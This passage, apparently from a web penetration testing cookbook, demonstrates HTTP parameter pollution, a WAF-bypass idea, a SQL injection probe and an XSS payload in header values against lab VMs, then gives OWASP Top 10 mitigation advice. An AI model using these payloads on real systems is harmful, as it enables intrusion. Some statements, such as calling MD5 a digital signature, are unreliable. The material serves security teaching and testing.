The script code we used works using JavaScript to send a request to the page we wanted to exploit. Once the response is received from the server (if(xmlhttp.readyState==4 && xmlhttp.status == 200 )), it is processed and the token is extracted (var token=responseDoc.getElementById('token').value;). This is why we needed to take note of the id parameter when we analyzed the original response and detected the token. Having extracted the value for the next valid anti-CSRF token, a new request is created and sent; this one contains the values the attacker wants for account and amount and the previously extracted token.

Exploiting HTTP parameter pollution

An HTTP parameter pollution (HPP) attacks occurs when an HTTP parameter is repeated multiple times in the same request and the server processes in a different way each instance, causing an unexpected behavior in the application.

In this recipe, we will demonstrate how HPP can be exploited and will explain how it can be used to bypass certain security controls.

How to do it...

For this recipe, we will use bWApp again as it has a very illustrative example of HPP:

1. Log in to bWApp in our vulnerable VM and go to HPP (http://192.168.56.11/bWAPP/hpp-1.php).

2. Use the normal flow first; there is a form that asks for a name. When a name is submitted, it requires the user to vote for a movie, and, in the end, the user's vote is displayed.

3. Note that all parameters (movie, name, and action) are in the URL in the last step. Let's add a second movie parameter with a different value at the end of the URL, as shown in the following screenshot:

It seems like the server takes only the last value given to a parameter. Also, note that the name parameter must have been added to the request via scripting, since we introduced it only in the first step.

4. To have a somewhat realistic exploitation vector, we will attempt to force the voting to be always for movie number 2, Iron Man, because Tony Stark wants to win every time.

5. Go to step one and introduce the following as a name: test2&movie=2; we are injecting the movie parameter after the name. After submitting the name, the next step should show something like this:

6. Vote for any movie but Iron Man. As shown in the following screenshot, the result will show you actually voted for Iron Man.

How it works...

In this recipe, we saw how having multiple instances of the same parameter in one single request can affect the way the application processes it. The way this situation is handled depends on the web server processing the request; here are some examples:

- Apache/PHP: Takes only the last occurrence

- IBM HTTP Server/JSP: Takes the first occurrence

- IIS/ASP.NET: All values are concatenated, separated by commas

This lack of a standardized behavior can be used in specific situations to bypass protection mechanisms such as Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). Imagine an enterprise scenario that is not rare, a Tomcat-based application running on an IBM server being protected by an Apache-based WAF; if we send a malicious request with multiple instances of a vulnerable parameter and put an injection string in the first occurrence and a valid value in the last one, the WAF will take the request as valid, while the web server will process the first value, which is a malicious injection.

HPP may also allow the bypassing of some controls within the application in situations where the different instances are sent in different parts of the request, such as URL and headers or body, and, due to bad programming practices, different methods in the application take the parameter's value either from the whole request or from specific parts of it. For example, in PHP, we can get a parameter from any part of the request (URL, body, or cookie), without knowing which one uses the $_REQUEST[] array, or we can get the same from the arrays dedicated to the URL or the body $_GET[] and $_POST[], respectively. So, if $_REQUEST[] is used to look for a value that is supposed to be sent via a POST request, but that parameter is polluted in the URL, the result may include the parameter in the URL instead of the one actually wanted.

For more information on this vulnerability and some illustrative examples, visit the OWASP page dedicated to it at, https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004).

Exploiting vulnerabilities through HTTP headers

When it comes to input validation and sanitization, some developers focus on URL and body parameters, overlooking the fact that the whole request can be manipulated in the client side and allow for malicious payload to be included in cookies and header values.

In this recipe, we will identify and exploit a vulnerability in a header whose value is reflected in the response.

How to do it...

We now came back to Mutillidae. This time, we will use the OWASP 2013 | A1 - Injection (SQL) | Bypass Authentication | Login exercise:

1. First, send a request with any non-existent user and password so the login fails

2. Send the request to Burp Suite's Repeater and submit it so we can have a reference response.

3. Once in Repeater, we will test SQL Injection vector in the User-Agent header and append '+and+'1'=' to the header's value.

4. If we compare the responses of both requests, we will see that the one with the injection is a few bytes bigger than the original one, as shown in the following screenshot:

5. To ease the process of discovering exactly what changed between the two responses, send them both to Burp Suite's Comparer (right-click on the response and select Send to Comparer from the menu), go to the Comparer tab, and you will see something like this:

6. Click on Words, as we want to compare the text, looking for those words that changed in it.

7. In the comparison dialog, select the Sync views checkbox in the lower-right corner and look for a highlighted difference. Some pretty obvious things, such as the server's date, are going to be different. We are looking for something that has to do with the payload we injected. The next screenshot shows a relevant difference.

So, our payload in the User-Agent header got directly reflected by the server. This could mean that the header is vulnerable to XSS, so let's try it.

8. Go back to the browser and send another login attempt, but this time intercept the request in Burp Suite.

9. Modify the User-Agent header by adding &lt;img src=X onerror="alert('XSS')">. The next screenshot shows an example:

10. Submit the request, and the payload will execute as follows:

How it works...

In this recipe, we were testing for SQL Injection in a login form but noticed, by analyzing the server's responses, that the User-Agent header was being reflected and took that as an indicator of a possible XSS vulnerability. Then, we successfully exploited the XSS by appending an &lt;IMG> tag to the header.

Header values, particularly User-Agent, are very commonly stored in application and web server logs, which causes payloads sent in such headers to not being processed directly  by the target application, but by SIEM (Security Information and Event Manager) systems and other log analyzers and aggregators, which may also be vulnerable.

Mitigation of OWASP Top 10 Vulnerabilities

In this chapter, we will cover the following recipes:

- A1 – Preventing injection attacks

- A2 – Building proper authentication and session management

- A3 – Protecting sensitive data

- A4 – Using XML external entities securely

- A5 – Securing access control

- A6 – Basic security configuration guide

- A7 – Preventing Cross-Site Scripting

- A8 – Implementing object serialization and deserialization

- A9 – Where to look for known vulnerabilities on third-party components

- A10 – Logging and monitoring for web applications' security

Introduction

The goal of every penetration test is to identify the possible weak spots in applications, servers, or networks; weak spots that could be an opportunity to gain sensitive information or privileged access for an attacker. The reason to detect such vulnerabilities is not only to know that they exist and calculate the risk attached to them, but also to make an effort to mitigate them or reduce them to the minimum risk level.

In this chapter, we will take a look at some examples and recommendations as to how to mitigate the most critical web application vulnerabilities according to OWASP as listed at https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project.

A1 – Preventing injection attacks

According to OWASP, the most critical type of vulnerability found in web applications is the injection of some type of code, such as SQL injection, OS command injection, and HTML injection.

These vulnerabilities are usually caused by a poor input validation by the application. In this recipe, we will cover some of the best practices to use when processing user inputs and constructing queries that make use of them.

How to do it...

1. The first thing to do in order to prevent injection attacks is to properly validate inputs. On the server side, this can be done by writing your own validation routines, although the best option is using the language's own validation routines, as they are more widely used and tested. A good example is filter_var in PHP or the validation helper in ASP.NET. For example, an email validation in PHP would look similar to this:

function isValidEmail($email){
return filter_var($email, FILTER_VALIDATE_EMAIL);
}

2. On the client side, validation can be achieved by creating JavaScript validation functions, using regular expressions. For example, an email validation routine would be as follows:

function isValidEmail (input)
{
var result=false;
var email_regex = /^[a-zA-Z0-9._-]+@([a-zA-Z0-9.-]+.)+[a-zA-Z0-9.-]{2,4}$/;
if ( email_regex.test(input) ) {
result = true;
}
return result;
}

3. For SQL Injection, it is also useful to avoid concatenating input values to queries. Instead, you should use parameterized queries, also called prepared statements. Each programming language has its own version:

- PHP with MySQLi:

$query = $dbConnection->prepare('SELECT * FROM table WHERE name = ?'); $query->bind_param('s', $name); $query->execute();

- C#:

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";

SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));

command.Parameters["@CustomerId"].Value = 1;

- Java:

String custname = request.getParameter("customerName");

String query = "SELECT account_balance FROM user_data WHERE user_name =? ";

PreparedStatement pstmt = connection.prepareStatement( query );

pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );

4. Following a Defense in Depth approach, it is also useful to restrict the amount of damage that can be done in case an injection is successful. To do this, use a low-privileged system user to run the database and web servers. Make sure that the user that the applications allow to connect to the database server is not a database administrator.

5. Disable or delete the stored procedures and commands that allow an attacker to execute system commands or escalate privileges, such as xp_cmdshell in MS SQL Server.

How it works...

The main part of preventing any kind of code injection attack is always a proper input validation, both on the client side and the server side.

For SQL Injection, always use parameterized or prepared queries instead of concatenating SQL sentences and inputs. Parameterized queries insert function parameters in specified places of an SQL sentence, eliminating the need for programmers to construct the query themselves by concatenation.

In this recipe, we have used and recommended the language's built-in validation functions, but you can create your own if you need to validate a special type of input using regular expressions.

Apart from performing a correct validation, we also need to reduce the impact of the compromise in case somebody manages to inject some code. This is done by properly configuring a user's privileges in the context of an operating system for a web server and for both the database and OS in the context of a database server.

See also

The most useful tool when it comes to data validation is regular expressions. They also make the life of a penetration tester much easier when it comes to processing and filtering large amounts of information, so it is very convenient to have a good knowledge of them. I would recommend taking a look at the following sites:

- http://www.regexr.com/: This is a really good site where we can get examples and references and test our own expressions to check whether a string matches or not.

- http://www.regular-expressions.info: This site contains tutorials and examples to learn how to use regular expressions. It also has a useful reference on the particular implementations of the most popular languages and tools.

- http://www.princeton.edu/~mlovett/reference/Regular-Expressions.pdf (Regular Expressions The Complete Tutorial) by Jan Goyvaerts: As its title states, this is a very complete tutorial on RegEx, including examples in many languages.

A2 – Building proper authentication and session management

Flawed authentication and session management is the second most critical vulnerability in web applications nowadays.

Authentication is the process whereby users prove that they are who they say they are; this is usually done through usernames and passwords. Some common flaws in this area are permissive password policies and security through obscurity (lack of authentication in supposedly hidden resources).

Session management is the handling of session identifiers of logged in users; in web servers, this is done by implementing session cookies and tokens. These identifiers can be implanted, stolen, or hijacked by attackers using social engineering, Cross-Site Scripting, CSRF, and so on. Hence, a developer must pay special attention to how this information is managed.

In this recipe, we will cover some of the best practices when implementing username/password authentication and managing the session identifiers of logged in users.

How to do it...

1. If there is a page, form, or any piece of information in the application that should be viewed only by authorized users, make sure that a proper authentication is performed before showing it.

2. Make sure that usernames, IDs, passwords, and all other authentication data are
case sensitive and unique for each user.

3. Establish a strong password policy that forces the users to create passwords that fulfill, at minimum, the following requirements:

- Access denied

- More than 8 characters, preferably 10

- Use of upper-case and lower-case letters

- Use of at least one numeric character (0-9)

- Use of at least one special character (space, !, &, #, %, and so on)

- Prefer long, easy-to-remember phrases over short, complex, and unrelated series of characters, for example, This Is an Acceptable Password! is much stronger than aJk5&$12!

4. Forbid the username, site name, company name, or their variations (changed case, l33t, fragments of them) to be used as passwords.

5. Forbid the use of passwords available in the Most common passwords list at https://www.teamsid.com/worst-passwords-2017/.

6. Never specify in an error message whether a user exists or not or whether the information has the correct format. Use the same generic message for incorrect login attempts, non-existent users, names or passwords not matching the pattern, and all other possible login errors. Such a message could be as follows:

- Login information is incorrect

- Invalid username or password

- Access denied

7. Passwords must not be stored in clear text format in the database; use a strong hashing algorithm, such as SHA-2, scrypt, or bcrypt, which is especially made to be hard to crack with GPUs.

8. When comparing a user input against the password for login, hash the user input and then compare both hashing strings. Never decrypt the passwords for comparison with a clear text user input.

9. Avoid basic HTML authentication.

10. When possible, use multi-factor authentication (MFA), which means using more than one authentication factor to log in:

- Something you know (account details or passwords)

- Something you have (tokens or mobile phones)

- Something you are (biometrics)

11. Implement the use of certificates, pre-shared keys, or other password-less authentication protocols (OAuth2, OpenID, SAML, or FIDO) when possible.

12. When it comes to session management, it is recommended that you use the language's built-in session management system, Java, ASP.NET, and PHP. They are not perfect, but definitely provide a well-designed and widely tested mechanism, and they are easier to implement than any homemade version that a development team, worried by release dates, could make.

13. Always use HTTPS for login and logged in pages—obviously, by avoiding the use of SSL and only accepting TLS v1.1, or later, connections.

14. To ensure the use of HTTPS, HTTP Strict Transport Security (HSTS) can be used. It is an opt-in security feature specified by the web application through the use of the Strict-Transport-Security header; it redirects you to the secure option when http:// is used in the URL, and prevents the overriding of the invalid certificate message, the one that shows when using Burp Suite, for example, https://www.owasp.org/index.php/HTTP_Strict_Transport_Security.

15. Always set HTTPOnly and Secure cookies' attributes.

16. Set reduced, but realistic, session expiration times—not so long that an attacker may be able to reuse a session when the legitimate user leaves, and not so short that the user doesn't have the opportunity to perform the tasks that the application is intended to perform. Between 15 and 30 minutes is a reasonable expiration time.

How it works...

Authentication mechanisms in web applications are very often reduced to a username/password login page. Although not the most secure option, it is the easiest for users and developers; when dealing with passwords, their most important aspect is their strength.

As we have seen throughout this book, the strength of a password is given by how hard it is to break, be it by brute force, dictionary, or guessing. The first tips in this recipe are meant to make passwords harder to brute-force by establishing a minimum length, and using mixed character sets harder to guess by eliminating the more intuitive choices (username, most common passwords, and company name), and harder to break if leaked by using strong hashing or encryption when storing them.

As for session management, the expiration time, uniqueness, strength of session ID (already implemented in the language's in-built mechanisms), and security in the cookie settings are the key considerations.

Probably the most important aspect when talking about authentication security probably is that no security configuration or control or strong password is secure enough if it can be intercepted and read through a man in the middle attack, so the use of a properly configured encrypted communication channel, such as TLS, is vital to keep our users' authentication data secure.

See also

OWASP has a couple of really good pages on authentication and session management, as shown in the following list. I absolutely recommend reading and taking them into consideration when building and configuring a web application:

- https://www.owasp.org/index.php/Authentication_Cheat_Sheet

- https://www.owasp.org/index.php/Session_Management_Cheat_Sheet

A3 – Protecting sensitive data

When an application stores or uses information that is sensitive in some way (credit card numbers, social security numbers, health records, passwords, and so on), special measures should be taken to protect it, as if it can be compromised, it could result in severe reputation, economic, or even legal damage to the organization that is responsible for its protection.

The sixth place in the OWASP Top 10 vulnerabilities is sensitive data exposure, and it happens when data that should be especially protected is exposed in clear text or is protected with weak security measures.

In this recipe, we will cover some of the best practices when handling, communicating, and storing this type of data.

How to do it...

1. If the sensitive data you use can be deleted after use, do it. It is much better to ask users every time for their credit card information than to have it stolen in a breach.

2. When processing payments, always prefer the use of a payment gateway instead of storing such data in your servers. Check http://ecommerce-platforms.com/ecommerce-selling-advice/choose-payment-gateway-ecommerce-store for a review of the top providers.

3. If we have the need to store sensitive information, the first protection we must
give to it is to encrypt it using a strong encryption algorithm with the corresponding strong keys adequately stored. Some recommended algorithms are Twofish, AES, and RSA.

4. Passwords should be stored in database hashes using one-way hashing functions, such as bcrypt, scrypt, or SHA-2.

5. Ensure that all sensitive documents are only accessible by authorized users; don't store them in the web server's document root, but in an external directory, and access them through programming. If, for some reason, it is necessary to have sensitive documents inside the server's document root, use a .htaccess file to prevent direct access:

Order deny,allow
Deny from all

6. Disable the caching of pages that contain sensitive data. For example, in Apache, we can disable the caching of PDF and PNG files by using the following settings in httpd.conf:

<FilesMatch ".(pdf|png)>
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</FilesMatch>

7. Always use secure communication channels to transfer sensitive information, namely HTTPS with TLS or FTPS (FTP over SSH) if you allow the uploading of files.

How it works...

When it comes to protecting sensitive data, we need to minimize the risk of that data being leaked or traded; that's why, correctly encrypting the stored information and protecting the encryption keys is the first thing to do. If there is no possibility of not storing such data, it is the ideal option.

Passwords should be hashed with a one-way hashing algorithm before storing them in the database. This way, if they are stolen, the attacker won't be able to use them immediately, and if the passwords are strong and hashed with strong algorithms, they won't be able to break them in a realistic time.

If we store sensitive documents or sensitive data in the document root of our server (/var/www/html/ in Apache, for example), we expose such information to be downloaded by its URL. So it's better to store it somewhere else and make special server-side code to retrieve it when necessary and with a previous authorization check.

Also, pages such as https://archive.org/, WayBackMachine, or the Google cache may pose a security problem when the cached files contain sensitive information and were not adequately protected in previous versions of the application. So it is important to not allow the caching of those kinds of documents.

A4 – Using XML external entities securely

XML external entity (XXE) attacks have gained popularity in the last few years, so that they now appear in the fourth position of the OWASP Top 10 2017. XML entity-related vulnerabilities are used by attackers mainly to retrieve information from the target system and remotely execute code or system commands (XXE Injection), or to cause the interruption of services (XXE Expansion).

In this recipe, we will provide some suggestions on what to do when building a web application to prevent including vulnerabilities in the processing of XML external entities.

How to do it...

1. If possible, avoid the use of XML and prefer less complex formats, such as JSON.

2. If XML use is mandatory, disable the use of external entities in all parsers used by the application.

3. If a certain functionality requires the use of external entities to load files or access remote resources, consider reimplementing the functionality using other technologies.

4. Always validate data provided by users and third parties on both client and server sides. For data in XML format, using a white list of allowed words/elements and characters is a good option.

5. Keep the XML interpreter (usually integrated into the development tools) adequately patched and updated to prevent and fix common vulnerabilities.

How it works...

Although XML can be an extremely useful tool for developers when performing some tasks, it is not the best format for information exchange in web applications these days. This is because of its many features, external entities among them, and its extensible nature, which allows for the easy incorporation of objects or elements that may include system files and commands.

XML Parsers allow external entities and other features that may pose a security problem, such as Document Type Definitions (DTDs), to be disabled. Check the documentation of the parsing engine of your choice for more information on how to do this.

Being injection attacks, XML-related attacks can be prevented to a great extent by performing proper input validation, and as the expected structure is already known by the developers, it is possible to implement a whitelisting validation scheme that allows only the expected elements and rejects everything else.

Last in this recipe, XML parsers are often integrated to programming frameworks and languages. Ensure that the one that is used doesn't have any published vulnerability that could compromise the security of the application.

A5 – Securing access control

In the OWASP Top 10 2013, the A7 vulnerability was Missing Function Level Access Control. For the new 2017 edition, that vulnerability is integrated into the broader Broken Access Control, and is ranked in fifth position. This new category covers vulnerabilities where an unauthenticated or unauthorized user can access restricted information by directly browsing it, or when a low privilege user is able to escalate privileges and even improper configurations of CORS policies.

In this recipe, we will take a look at some recommendations to improve the access control of our applications.

How to do it...

1. Assign to users/clients only those privileges that are strictly necessary for them to perform their duties and block access to everything else (the principle of least privilege).

2. Ensure that the workflow's privileges are correctly checked and enforced at every step.

3. Deny all access by default and then allow users to perform tasks/access information after an explicit verification of authorization.

4. Users, roles, and authorizations should be stored in a flexible media, such as a database or a configuration file, so that they can be added, deleted, or updated. Do not hardcode them.

5. Again, security through obscurity is not a good posture to take.

How it works...

It is not uncommon for the developers to check for authorization only at the beginning of a workflow and assume that the following tasks will be authorized for the user. An attacker may try to call a function, URL, or resource that is an intermediate step of the flow and achieve it because of a lack of control.

Concerning privileges, denying all by default is a best practice. If we don't know whether certain users are allowed to execute a function, then they are not allowed. Turn your privilege tables into grant tables. If there is no explicit grant for a user on a function, deny any access.

When assigning permissions to users and/or designing user roles, always follow the principle of least privilege (https://en.wikipedia.org/wiki/Principle_of_least_privilege).

When building or implementing an access control mechanism for your application's functions, store all the grants in a database or in a configuration file (a database is a better choice).
If user roles and privileges are hardcoded, they become harder to maintain and to change
or update.

A6 – Basic security configuration guide

Default configurations of systems, including operating systems and web servers, are mostly created to demonstrate and highlight their basic or most relevant features, not to be secure
or protect them from attacks.

Some common default configurations that may compromise the security are the default administrator accounts that are created when the database, web server, or CMS was installed and the default administration pages and error messages with stack traces, among many others.

In this recipe, we will cover the fifth most critical vulnerability in the OWASP top 10:
Security Misconfiguration.

How to do it...

1. If possible, delete all the administrative applications, such as Joomla's admin, WordPress' admin, phpMyAdmin, or Tomcat Manager. If that is not possible, make them accessible from the local network only; for example, to deny access from outside networks to phpMyAdmin in an Apache server, modify the httpd.conf
file (or the corresponding site configuration file):

<Directory /var/www/phpmyadmin>

Order Deny,Allow
Deny from all
Allow from 127.0.0.1 ::1
Allow from localhost
Allow from 192.168
Satisfy Any

</Directory>

This will first deny access from all addresses to the phpmyadmin directory, and second, it will allow any request from the localhost and addresses beginning with 192.168, which are local network addresses.

3. Change all administrators' passwords for all CMSs, applications, databases, servers, and frameworks with others that are strong enough. Some examples of
such applications are as follows:

- Cpanel

- Joomla

- WordPress

- PhpMyAdmin

- Tomcat manager

4. Disable all unnecessary or unused server and application features. On a daily or weekly basis, new vulnerabilities are appearing on CMSs' optional modules and plugins. If your application doesn't require them, there is no need to have them active.

5. Always have the latest security patches and updates. In production environments, it may be necessary to set up test environments to prevent leaving the site inoperative because of updating an incompatible version.

6. Set up custom error pages that don't reveal tracing information, software versions, programming component names, or any other debugging information. If developers need to keep a record of errors, or if an identifier is necessary for technical support, create an index with a simple ID and the error's description and show only the ID to the user. So when the error is reported to a support personnel, they will check the index and will know what type of error it was.

7. Adopt the principle of least privilege. Every user at every level (operating system, database, or application), should only be able to access the information that is strictly required for a correct operation, never more.

8. Taking into account the previous points, build a security configuration baseline and apply it to every new implementation, update, or release, and to current systems.

9. Enforce periodic security testing or auditing to help detect misconfigurations or missing patches.

How it works...

Talking about security and configuration issues, we are correct if we say the devil is in the detail. The configuration of a web server, a database server, a CMS, or an application should find the point of equilibrium between being completely usable and useful and being secure for both users and owners.

One of the most common misconfigurations in a web application is that it contains some kind of a web administration site that is accessible to all of the internet; this may not seem to be such a big issue, but if we think that an administrator login page is much more attractive to crooks that any contact us form as the former gives access to a much higher privilege level, and there are lists of known, common, and default passwords for almost every CMS, database, or site administration tool we can think of. So our first recommendations focus on not exposing these administrative sites to the world, and removing them if possible.

Also, the use of a strong password and changing those that are installed by default (even if they are strong) should be mandatory when publishing an application to the internal company's network, and should be much more strenuously enforced when publishing to the internet. Nowadays, when we expose a server to the world, the first traffic it receives is port scans, login page requests, and login attempts, even before the first user knows that the application is active.

The use of custom error pages helps the security stance because default error messages in web servers and web applications show too much information (from an attacker's point of view) about the error, the programming languages used, the stack trace, the database used, the operating systems, and so on. This information should not be exposed because it helps us understand how the application is made and gives the names and versions of the software used. With that information, an attacker can search for known vulnerabilities and craft a more efficient attack process.

Once we have a server with its resident applications and all services correctly configured, we can make a security baseline and apply it to all new servers to be configured or updated, as well as to the servers that are currently productive, with the proper planning and change management process.

This configuration baseline needs to be continually tested in order to consistently keep improving it and keep it protected from newly discovered vulnerabilities.

A7 – Preventing Cross-Site Scripting

Cross-Site Scripting, as seen previously, happens when the data shown to the user is not correctly encoded and the browser interprets it as script code and executes it. This also has an input validation factor, as a malicious code is usually inserted through input variables.

In this recipe, we will cover the input validation and output encoding required for developers to prevent XSS vulnerabilities in their applications.

How to do it...

1. The first sign of an application being vulnerable to XSS is that, in the page, it reflects the exact input given by the user. So try not to use user-given information to build output text.

2. When you need to put user-provided data in the output page, validate such data
to prevent the insertion of any type of code. We already saw how to do that in the
A1 - Preventing injection attacks section.

3. If, for some reason, the user is allowed to input special characters or code fragments, sanitize or properly encode the text before inserting it in the output.

4. For sanitization, filter_var can be used in PHP; for example, if you want to have only email valid characters in the following string:

<?php
$email = "john(.doe)@exa//mple.com";
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
echo $email;
?>

For encoding, you can use htmlspecialchars in PHP:

<?php
$str = "The JavaScript HTML tags are <script> for opening, and </script>  for closing.";
echo htmlspecialchars($str);
?>

5. In .NET, for 4.5 and later implementations, the System.Web.Security.AntiXss namespace provides the necessary tools. For .NET Framework 4 and earlier,
we can use the Web Protection library at https://archive.codeplex.com/?p=wpl.

6. Also, to prevent stored XSS, encode or sanitize every piece of information before storing it and retrieving it from the database.

7. Don't overlook headers, titles, CSS, and script sections of the page, as they are susceptible to being exploited too.

How it works...

Apart from a proper input validation and not using user inputs as output information, sanitization and encoding are key aspects in preventing XSS.

Sanitization means removing the characters that are not allowed from the string; this is useful when no special characters should exist in input strings.

Encoding converts special characters to their HTML code representations, for example, "&" to "&amp;" or "<" to "&lt;". Some applications allow the use of special characters in input strings; for them, sanitization is not an option, so they should encode the inputs before inserting them into the page and storing them in the database.

See also

OWASP has an XSS prevention cheat sheet that is worth reading, which can be found at https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.

A8 – Implementing object serialization and deserialization

Serialization is the process of transforming a data structure or object into a format that can be transmitted, in our case, within an HTTP request or response. Deserialization is the opposite process.

When an object is serialized, let's say, to a JSON string, and sent from a server to a client or vice versa, an attacker can see and understand the contents of the object and change them so that when the other end receives the serialized object and deserializes it to put it back into an object format, it interprets the changed content as executable code and executes it. This is the most common scenario of a deserialization attack.

In this recipe, we will see the measures that developers should take in order to make their applications more secure when implementing a serialization/deserialization mechanism.

How to do it...

1. If possible, you should prefer not to use serialization/deserialization.

2. Implement integrity checks such as digital signatures (MD5, SHA-2) on all serialized objects received on both the client and server sides so that if any object has been tampered with, it is rejected by the application before any processing or deserialization happens.

3. Run deserialization code for low-privilege users.

4. Log and monitor serialization and deserialization processes and all of their errors and warnings. Use the monitoring system as an input to the security monitoring process in order to generate the appropriate alerts.

How it works...

As with many other cases that use of a complex technology, if it is not properly configured and implemented, it may lead to the weakening of the security posture of an application. Evaluate whether such a technology is strictly necessary or the best choice available, and if it is not, do not use it.

By hashing or generating a checksum of the outgoing object and checking that value when an object is received, the application will be able to identify when an object has been modified by the user or some entity in the middle and then discard it to prevent security risks.

Following the Security in Depth philosophy, if a serialization attack is successful and the attacker gains command execution on our server, the user under which the malicious commands are executed should have the lower possible privilege level so that no extra damage is made.

In case of a security incident, it is of vital importance that the application holds logs of the serialization and deserialization processes so that professionals investigating the incident can use them to figure out the attack vectors used and further propose ways to prevent a similar incident from happening again.

A9 – Where to look for known vulnerabilities on third-party components

Today's web applications are no longer the work of a single developer nor of a single development team; nowadays, developing a functional, user-friendly, attractive-looking web application implies the use of third-party components, such as programming libraries, APIs to external services (Facebook, Google, and Twitter), development frameworks, and many other components in which programming, testing, and patching have very little or no relevance.

Sometimes, these third-party components are found vulnerable to attacks and they transfer those vulnerabilities to our applications. Many of the applications that implement vulnerable components take a long time to be patched, representing a weak spot in an entire organization's security. That's why, OWASP classifies the use of third-party components with known vulnerabilities as the ninth most critical threat to a Web application's security.

In this recipe, we will take a look at where to search to figure out whether some component that we are using has known vulnerabilities and we will look at some examples of such vulnerable components.

How to do it...

1. As a first suggestion, always prefer a known software, which is supported and widely used.

2. Stay updated about security updates and patches released for the third-party components your application uses.

3. A good place to start the search for vulnerabilities in some specific component is the manufacturer's website; they usually have a Release Notes section where they publish which bug or vulnerabilities each version corrects. Here, we can look for the version we are using (or newer ones) and check whether there is some known issue patched or left unpatched.

4. Also, manufacturers often have security advisory sites, such as Microsoft (https://technet.microsoft.com/library/security/), Joomla (https://developer.joomla.org/security-centre.html), and Oracle (http://www.oracle.com/technetwork/topics/security/alerts-086861.html). We can use these to stay updated about the software we are using in our application.

5. There are also vendor-independent sites that are devoted to informing us about vulnerabilities and security problems. A very good one, which centralizes information from various sources, is CVE Details (http://www.cvedetails.com/). Here we can search for almost any vendor or product and list all its known vulnerabilities
(or at least the ones that made it to a CVE number) and results by year, version,
and CVSS score.

6. Also, sites where hackers publish their exploits and findings are a good place
to be informed about vulnerabilities in the software we use. The most popular are Exploit DB (https://www.exploit-db.com/), Full disclosure mailing list (http://seclists.org/fulldisclosure/), and the files section on Packet Storm (https://packetstormsecurity.com/files/).

7. Once we have found a vulnerability in some of our software components, we must evaluate if it is really necessary for our application or can be removed. If it can't, we need to plan a patching process, as soon as possible. If there is no patch or workaround available and the vulnerability is one of high impact, we must start to look for a replacement to that component.

How it works...

Before considering the use of a third-party software component in our application, we must look for its security information and check whether there is a more stable or secure version or alternative to the one we intend to use.

Once we have chosen one and have included it in our application, we need to keep it updated. Sometimes, it may involve version changes and no backward compatibility, but that is a price we have to pay if we want to stay secure, or it may involve the implementation of a Web Application Firewall (WAF) or an Intrusion Prevention System (IPS) to protect against attacks if we cannot update or patch a high-impact vulnerability.

Apart from being useful when performing penetration testing, the exploit download and vulnerability disclosure sites can be taken advantage of by a systems administrator to know what attacks to expect, how will they be, and how to protect the applications from them.

A10 – Logging and monitoring for web applications' security

Keeping activity logs for applications' analytics or keeping error logs for debugging purposes are very different to when the aim is to improve the security of the information and the privacy of the users, as Incident Response teams should be able to rebuild the path followed by an attacker that manages to breach the application's security, and the security monitoring equipment should be able to interpret and process logged information so that it is able to generate alerts of possible security issues in nearly real time; all of this needs to be done while protecting the users' privacy by not storing any sensitive or personally identifiable information about them.

In this recipe, we will cover the key aspects to consider when designing and implementing the logging mechanisms of a web application and its monitoring.

How to do it...

1. .Ensure that no sensitive or personally identifiable information of users or the company (real names, addresses, passwords, credit card information, phone numbers, and so on ) is logged.

2. Additional to application-specific operations and events, log all operations related to user and account management, for example, creation and deletion of users, password change, change of privilege level, login attempts, and logouts.

3. Ensure that all logs contain enough context of the event, date and time up to milliseconds, user generating the event, system environment conditions relevant to the event, and entities involved, such as database records, modules, other users, and client used.

4. Implement a centralized system for gathering, processing, and analyzing logs and generating security alerts based on that analysis (Security Information and Event Management (SIEM)).

5. Have a team dedicated to monitor and respond to security incidents.

6. Implement incident response and incident recovery plans so that when an attack is detected or a security breach occurs, you have a standardized procedure to follow in order to recover as fast as possible.

How it works...

Most of the time, in organizations, logs are not as protected as databases are, and when a breach occurs, such logs may contain impressive amounts of sensitive information that may allow the attackers to access other systems in the network because the log contained usernames and passwords or maybe collect emails and use them to execute a phishing campaign, or worst, those logs may contain names, addresses, and phone numbers of the application's users. It is very important for developers and security architects to keep all information like the one previously mentioned out of any logging and monitoring mechanism.

By logging the appropriate set of events, an application may generate enough information for the team monitoring it to identify anomalous behaviors and stop an attack at the very moment it is happening. For this to happen, it is also required that the logs should contain enough context information, and, more important, that there exists a team dedicated to monitor in real time the network activity, event logs, security devices such as IDS and firewalls, and software such as antivirus and data leak protection agents. Also, such a team should have a well-established set of policies and procedures for security incident detection, response, and recovery.

Other Books You May Enjoy

If you enjoyed this book, you may be interested in these other books by Packt:

Kali Linux - An Ethical Hacker's Cookbook
Himanshu Sharma

ISBN: 978-1-78712-182-9

- Installing, setting up and customizing Kali for pentesting on multiple platforms

- Pentesting routers and embedded devices

- Bug hunting 2017

- Pwning and escalating through corporate network

- Buffer overflows 101

- Auditing wireless networks

- Fiddling around with software-defned radio

- Hacking on the run with NetHunter

- Writing good quality reports

Cybersecurity – Attack and Defense Strategies
Yuri Diogenes, Erdal Ozkaya

ISBN: 978-1-78847-529-7

- Learn the importance of having a solid foundation for your security posture

- Understand the attack strategy using cyber security kill chain

- Learn how to enhance your defense strategy by improving your security policies, hardening your network, implementing active sensors, and leveraging threat intelligence

- Learn how to perform an incident investigation

- Get an in-depth understanding of the recovery process

- Understand continuous security monitoring and how to implement a vulnerability management strategy

- Learn how to perform log analysis to identify suspicious activities

Leave a review - let other readers know what you think

Please share your thoughts on this book with others by leaving a review on the site that you bought it from. If you purchased the book from Amazon, please leave us an honest review on this book's Amazon page. This is vital so that other potential readers can see and use your unbiased opinion to make purchasing decisions, we can understand what our customers think about our products, and our authors can see your feedback on the title that they have worked with Packt to create. It will only take a few minutes of your time, but is valuable to other potential customers, our authors, and Packt. Thank you!